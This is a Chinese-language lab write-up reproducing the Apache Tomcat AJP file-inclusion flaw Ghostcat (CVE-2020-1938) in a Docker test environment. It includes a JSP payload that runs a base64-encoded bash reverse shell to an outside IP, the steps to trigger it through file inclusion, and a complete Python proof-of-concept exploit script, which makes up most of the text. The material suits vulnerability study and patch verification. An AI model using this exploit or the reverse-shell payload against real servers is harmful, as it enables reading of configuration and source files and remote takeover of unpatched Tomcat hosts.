Apache Tomcat AJP 文件包含漏洞 CVE-2020-1938

漏洞描述

Java 是目前 Web 开发中最主流的编程语言，而 Tomcat 是当前最流行的 Java 中间件服务器之一，从初版发布到现在已经有二十多年历史，在世界范围内广泛使用。

Ghostcat（幽灵猫） 是由长亭科技安全研究员发现的存在于 Tomcat 中的安全漏洞，由于 Tomcat AJP 协议设计上存在缺陷，攻击者通过 Tomcat AJP Connector 可以读取或包含 Tomcat 上所有 webapp 目录下的任意文件，例如可以读取 webapp 配置文件或源代码。此外在目标应用有文件上传功能的情况下，配合文件包含的利用还可以达到远程代码执行的危害。

参考链接：

• https://www.chaitin.cn/zh/ghostcat
• https://www.cnvd.org.cn/webinfo/show/5415
• https://mp.weixin.qq.com/s/D1hiKJpah3NhEBLwtTodsg
• https://mp.weixin.qq.com/s/GzqLkwlIQi_i3AVIXn59FQ

影响版本

Apache Tomcat 6
Apache Tomcat 7 < 7.0.100
Apache Tomcat 8 < 8.5.51
Apache Tomcat 9 < 9.0.31

环境搭建

Vulhub执行如下命令启动一个Tomcat 9.0.30：

docker-compose up -d

环境启动后，访问http://your-ip:8080即可查看tomcat默认页面，此时通过AJP协议的8009端口亦可访问Tomcat。

漏洞复现

利用如下工具均可测试漏洞：

• https://github.com/chaitin/xray
• https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi

通过漏洞POCCNVD-2020-10487-Tomcat-Ajp-lfi进行测试，注意，代码基于python2环境。

读取WEB-INF/web.xml文件：

在docker的ROOT目录下新建文件用来测试是否可以成功读取，首先进入容器新建一个flag.txt文件：

[root@VM-16-16-centos CVE-2020-1938]# docker exec -it fbe4 /bin/bash
root@fbe43a63b620:/usr/local/tomcat# cd webapps/ROOT/
root@fbe43a63b620:/usr/local/tomcat/webapps/ROOT# echo "flag{Woooooooo}" > flag.txt

执行CNVD-2020-10487-Tomcat-Ajp-lfi.py读取flag.txt文件，读取成功：

python CNVD-2020-10487-Tomcat-Ajp-lfi.py 127.0.0.1 -p 8009 -f flag.txt

反弹shell

该漏洞需要配合文件上传漏洞才能利用，假设服务器已经有了存在一个txt文件，里面的内容可以执行任意命令（实际情况中，要利用目标服务器的文件上传功能上传文件）。

构造payload：

<%
    java.io.InputStream in = Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMDEuNDIuMjM3xxxxxxxxkgMD4mMQ==}|{base64,-d}|{bash,-i}").getInputStream();
    int a = -1;
    byte[] b = new byte[2048];
    out.print("<pre>");
    while((a=in.read(b))!=-1){
        out.println(new String(b));
    }
    out.print("</pre>");%>

将内容保存在txt文件里，使用命令将txt文件复制到服务器的ROOT路径：

[root@VM-16-16-centos CVE-2020-1938]# docker cp shell.txt fbe4:/usr/local/tomcat/webapps/ROOT/

要想实现文件包含，必须要运行包含的文件，所以目标文件需要是jsp。

此处需要修改CNVD-2020-10487-Tomcat-Ajp-lfi.py脚本中的文件名asdf为asdf.jsp：

执行CNVD-2020-10487-Tomcat-Ajp-lfi.py读取shell.txt文件，执行反弹shell命令：

python CNVD-2020-10487-Tomcat-Ajp-lfi-shell.py 127.0.0.1 -p 8009 -f shell.txt

监听6666端口，成功接收反弹shell：

漏洞POC

#!/usr/bin/env python
#CNVD-2020-10487  Tomcat-Ajp lfi
#by ydhcui
import struct

# Some references:
# https://tomcat.apache.org/connectors-doc/ajp/ajpv13a.html
def pack_string(s):
    if s is None:
        return struct.pack(">h", -1)
    l = len(s)
    return struct.pack(">H%dsb" % l, l, s.encode('utf8'), 0)
def unpack(stream, fmt):
    size = struct.calcsize(fmt)
    buf = stream.read(size)
    return struct.unpack(fmt, buf)
def unpack_string(stream):
    size, = unpack(stream, ">h")
    if size == -1: # null string
        return None
    res, = unpack(stream, "%ds" % size)
    stream.read(1) # \0
    return res
class NotFoundException(Exception):
    pass
class AjpBodyRequest(object):
    # server == web server, container == servlet
    SERVER_TO_CONTAINER, CONTAINER_TO_SERVER = range(2)
    MAX_REQUEST_LENGTH = 8186
    def __init__(self, data_stream, data_len, data_direction=None):
        self.data_stream = data_stream
        self.data_len = data_len
        self.data_direction = data_direction
    def serialize(self):
        data = self.data_stream.read(AjpBodyRequest.MAX_REQUEST_LENGTH)
        if len(data) == 0:
            return struct.pack(">bbH", 0x12, 0x34, 0x00)
        else:
            res = struct.pack(">H", len(data))
            res += data
        if self.data_direction == AjpBodyRequest.SERVER_TO_CONTAINER:
            header = struct.pack(">bbH", 0x12, 0x34, len(res))
        else:
            header = struct.pack(">bbH", 0x41, 0x42, len(res))
        return header + res
    def send_and_receive(self, socket, stream):
        while True:
            data = self.serialize()
            socket.send(data)
            r = AjpResponse.receive(stream)
            while r.prefix_code != AjpResponse.GET_BODY_CHUNK and r.prefix_code != AjpResponse.SEND_HEADERS:
                r = AjpResponse.receive(stream)

            if r.prefix_code == AjpResponse.SEND_HEADERS or len(data) == 4:
                break
class AjpForwardRequest(object):
    _, OPTIONS, GET, HEAD, POST, PUT, DELETE, TRACE, PROPFIND, PROPPATCH, MKCOL, COPY, MOVE, LOCK, UNLOCK, ACL, REPORT, VERSION_CONTROL, CHECKIN, CHECKOUT, UNCHECKOUT, SEARCH, MKWORKSPACE, UPDATE, LABEL, MERGE, BASELINE_CONTROL, MKACTIVITY = range(28)
    REQUEST_METHODS = {'GET': GET, 'POST': POST, 'HEAD': HEAD, 'OPTIONS': OPTIONS, 'PUT': PUT, 'DELETE': DELETE, 'TRACE': TRACE}
    # server == web server, container == servlet
    SERVER_TO_CONTAINER, CONTAINER_TO_SERVER = range(2)
    COMMON_HEADERS = ["SC_REQ_ACCEPT",
        "SC_REQ_ACCEPT_CHARSET", "SC_REQ_ACCEPT_ENCODING", "SC_REQ_ACCEPT_LANGUAGE", "SC_REQ_AUTHORIZATION",
        "SC_REQ_CONNECTION", "SC_REQ_CONTENT_TYPE", "SC_REQ_CONTENT_LENGTH", "SC_REQ_COOKIE", "SC_REQ_COOKIE2",
        "SC_REQ_HOST", "SC_REQ_PRAGMA", "SC_REQ_REFERER", "SC_REQ_USER_AGENT"
    ]
    ATTRIBUTES = ["context", "servlet_path", "remote_user", "auth_type", "query_string", "route", "ssl_cert", "ssl_cipher", "ssl_session", "req_attribute", "ssl_key_size", "secret", "stored_method"]
    def __init__(self, data_direction=None):
        self.prefix_code = 0x02
        self.method = None
        self.protocol = None
        self.req_uri = None
        self.remote_addr = None
        self.remote_host = None
        self.server_name = None
        self.server_port = None
        self.is_ssl = None
        self.num_headers = None
        self.request_headers = None
        self.attributes = None
        self.data_direction = data_direction
    def pack_headers(self):
        self.num_headers = len(self.request_headers)
        res = ""
        res = struct.pack(">h", self.num_headers)
        for h_name in self.request_headers:
            if h_name.startswith("SC_REQ"):
                code = AjpForwardRequest.COMMON_HEADERS.index(h_name) + 1
                res += struct.pack("BB", 0xA0, code)
            else:
                res += pack_string(h_name)

            res += pack_string(self.request_headers[h_name])
        return res

    def pack_attributes(self):
        res = b""
        for attr in self.attributes:
            a_name = attr['name']
            code = AjpForwardRequest.ATTRIBUTES.index(a_name) + 1
            res += struct.pack("b", code)
            if a_name == "req_attribute":
                aa_name, a_value = attr['value']
                res += pack_string(aa_name)
                res += pack_string(a_value)
            else:
                res += pack_string(attr['value'])
        res += struct.pack("B", 0xFF)
        return res
    def serialize(self):
        res = ""
        res = struct.pack("bb", self.prefix_code, self.method)
        res += pack_string(self.protocol)
        res += pack_string(self.req_uri)
        res += pack_string(self.remote_addr)
        res += pack_string(self.remote_host)
        res += pack_string(self.server_name)
        res += struct.pack(">h", self.server_port)
        res += struct.pack("?", self.is_ssl)
        res += self.pack_headers()
        res += self.pack_attributes()
        if self.data_direction == AjpForwardRequest.SERVER_TO_CONTAINER:
            header = struct.pack(">bbh", 0x12, 0x34, len(res))
        else:
            header = struct.pack(">bbh", 0x41, 0x42, len(res))
        return header + res
    def parse(self, raw_packet):
        stream = StringIO(raw_packet)
        self.magic1, self.magic2, data_len = unpack(stream, "bbH")
        self.prefix_code, self.method = unpack(stream, "bb")
        self.protocol = unpack_string(stream)
        self.req_uri = unpack_string(stream)
        self.remote_addr = unpack_string(stream)
        self.remote_host = unpack_string(stream)
        self.server_name = unpack_string(stream)
        self.server_port = unpack(stream, ">h")
        self.is_ssl = unpack(stream, "?")
        self.num_headers, = unpack(stream, ">H")
        self.request_headers = {}
        for i in range(self.num_headers):
            code, = unpack(stream, ">H")
            if code > 0xA000:
                h_name = AjpForwardRequest.COMMON_HEADERS[code - 0xA001]
            else:
                h_name = unpack(stream, "%ds" % code)
                stream.read(1) # \0
            h_value = unpack_string(stream)
            self.request_headers[h_name] = h_value
    def send_and_receive(self, socket, stream, save_cookies=False):
        res = []
        i = socket.sendall(self.serialize())
        if self.method == AjpForwardRequest.POST:
            return res

        r = AjpResponse.receive(stream)
        assert r.prefix_code == AjpResponse.SEND_HEADERS
        res.append(r)
        if save_cookies and 'Set-Cookie' in r.response_headers:
            self.headers['SC_REQ_COOKIE'] = r.response_headers['Set-Cookie']

        # read body chunks and end response packets
        while True:
            r = AjpResponse.receive(stream)
            res.append(r)
            if r.prefix_code == AjpResponse.END_RESPONSE:
                break
            elif r.prefix_code == AjpResponse.SEND_BODY_CHUNK:
                continue
            else:
                raise NotImplementedError
                break

        return res

class AjpResponse(object):
    _,_,_,SEND_BODY_CHUNK, SEND_HEADERS, END_RESPONSE, GET_BODY_CHUNK = range(7)
    COMMON_SEND_HEADERS = [
            "Content-Type", "Content-Language", "Content-Length", "Date", "Last-Modified",
            "Location", "Set-Cookie", "Set-Cookie2", "Servlet-Engine", "Status", "WWW-Authenticate"
            ]
    def parse(self, stream):
        # read headers
        self.magic, self.data_length, self.prefix_code = unpack(stream, ">HHb")

        if self.prefix_code == AjpResponse.SEND_HEADERS:
            self.parse_send_headers(stream)
        elif self.prefix_code == AjpResponse.SEND_BODY_CHUNK:
            self.parse_send_body_chunk(stream)
        elif self.prefix_code == AjpResponse.END_RESPONSE:
            self.parse_end_response(stream)
        elif self.prefix_code == AjpResponse.GET_BODY_CHUNK:
            self.parse_get_body_chunk(stream)
        else:
            raise NotImplementedError

    def parse_send_headers(self, stream):
        self.http_status_code, = unpack(stream, ">H")
        self.http_status_msg = unpack_string(stream)
        self.num_headers, = unpack(stream, ">H")
        self.response_headers = {}
        for i in range(self.num_headers):
            code, = unpack(stream, ">H")
            if code <= 0xA000: # custom header
                h_name, = unpack(stream, "%ds" % code)
                stream.read(1) # \0
                h_value = unpack_string(stream)
            else:
                h_name = AjpResponse.COMMON_SEND_HEADERS[code-0xA001]
                h_value = unpack_string(stream)
            self.response_headers[h_name] = h_value

    def parse_send_body_chunk(self, stream):
        self.data_length, = unpack(stream, ">H")
        self.data = stream.read(self.data_length+1)

    def parse_end_response(self, stream):
        self.reuse, = unpack(stream, "b")

    def parse_get_body_chunk(self, stream):
        rlen, = unpack(stream, ">H")
        return rlen

    @staticmethod
    def receive(stream):
        r = AjpResponse()
        r.parse(stream)
        return r

import socket

def prepare_ajp_forward_request(target_host, req_uri, method=AjpForwardRequest.GET):
    fr = AjpForwardRequest(AjpForwardRequest.SERVER_TO_CONTAINER)
    fr.method = method
    fr.protocol = "HTTP/1.1"
    fr.req_uri = req_uri
    fr.remote_addr = target_host
    fr.remote_host = None
    fr.server_name = target_host
    fr.server_port = 80
    fr.request_headers = {
        'SC_REQ_ACCEPT': 'text/html',
        'SC_REQ_CONNECTION': 'keep-alive',
        'SC_REQ_CONTENT_LENGTH': '0',
        'SC_REQ_HOST': target_host,
        'SC_REQ_USER_AGENT': 'Mozilla',
        'Accept-Encoding': 'gzip, deflate, sdch',
        'Accept-Language': 'en-US,en;q=0.5',
        'Upgrade-Insecure-Requests': '1',
        'Cache-Control': 'max-age=0'
    }
    fr.is_ssl = False
    fr.attributes = []
    return fr

class Tomcat(object):
    def __init__(self, target_host, target_port):
        self.target_host = target_host
        self.target_port = target_port

        self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self.socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        self.socket.connect((target_host, target_port))
        self.stream = self.socket.makefile("rb", bufsize=0)

    def perform_request(self, req_uri, headers={}, method='GET', user=None, password=None, attributes=[]):
        self.req_uri = req_uri
        self.forward_request = prepare_ajp_forward_request(self.target_host, self.req_uri, method=AjpForwardRequest.REQUEST_METHODS.get(method))
        print("Getting resource at ajp13://%s:%d%s" % (self.target_host, self.target_port, req_uri))
        if user is not None and password is not None:
            self.forward_request.request_headers['SC_REQ_AUTHORIZATION'] = "Basic " + ("%s:%s" % (user, password)).encode('base64').replace('\n', '')
        for h in headers:
            self.forward_request.request_headers[h] = headers[h]
        for a in attributes:
            self.forward_request.attributes.append(a)
        responses = self.forward_request.send_and_receive(self.socket, self.stream)
        if len(responses) == 0:
            return None, None
        snd_hdrs_res = responses[0]
        data_res = responses[1:-1]
        if len(data_res) == 0:
            print("No data in response. Headers:%s\n" % snd_hdrs_res.response_headers)
        return snd_hdrs_res, data_res

'''
javax.servlet.include.request_uri
javax.servlet.include.path_info
javax.servlet.include.servlet_path
'''

import argparse
parser = argparse.ArgumentParser()
parser.add_argument("target", type=str, help="Hostname or IP to attack")
parser.add_argument('-p', '--port', type=int, default=8009, help="AJP port to attack (default is 8009)")
parser.add_argument("-f", '--file', type=str, default='WEB-INF/web.xml', help="file path :(WEB-INF/web.xml)")
args = parser.parse_args()
t = Tomcat(args.target, args.port)
_,data = t.perform_request('/asdf',attributes=[
    {'name':'req_attribute','value':['javax.servlet.include.request_uri','/']},
    {'name':'req_attribute','value':['javax.servlet.include.path_info',args.file]},
    {'name':'req_attribute','value':['javax.servlet.include.servlet_path','/']},
    ])
print('----------------------------')
print("".join([d.data for d in data]))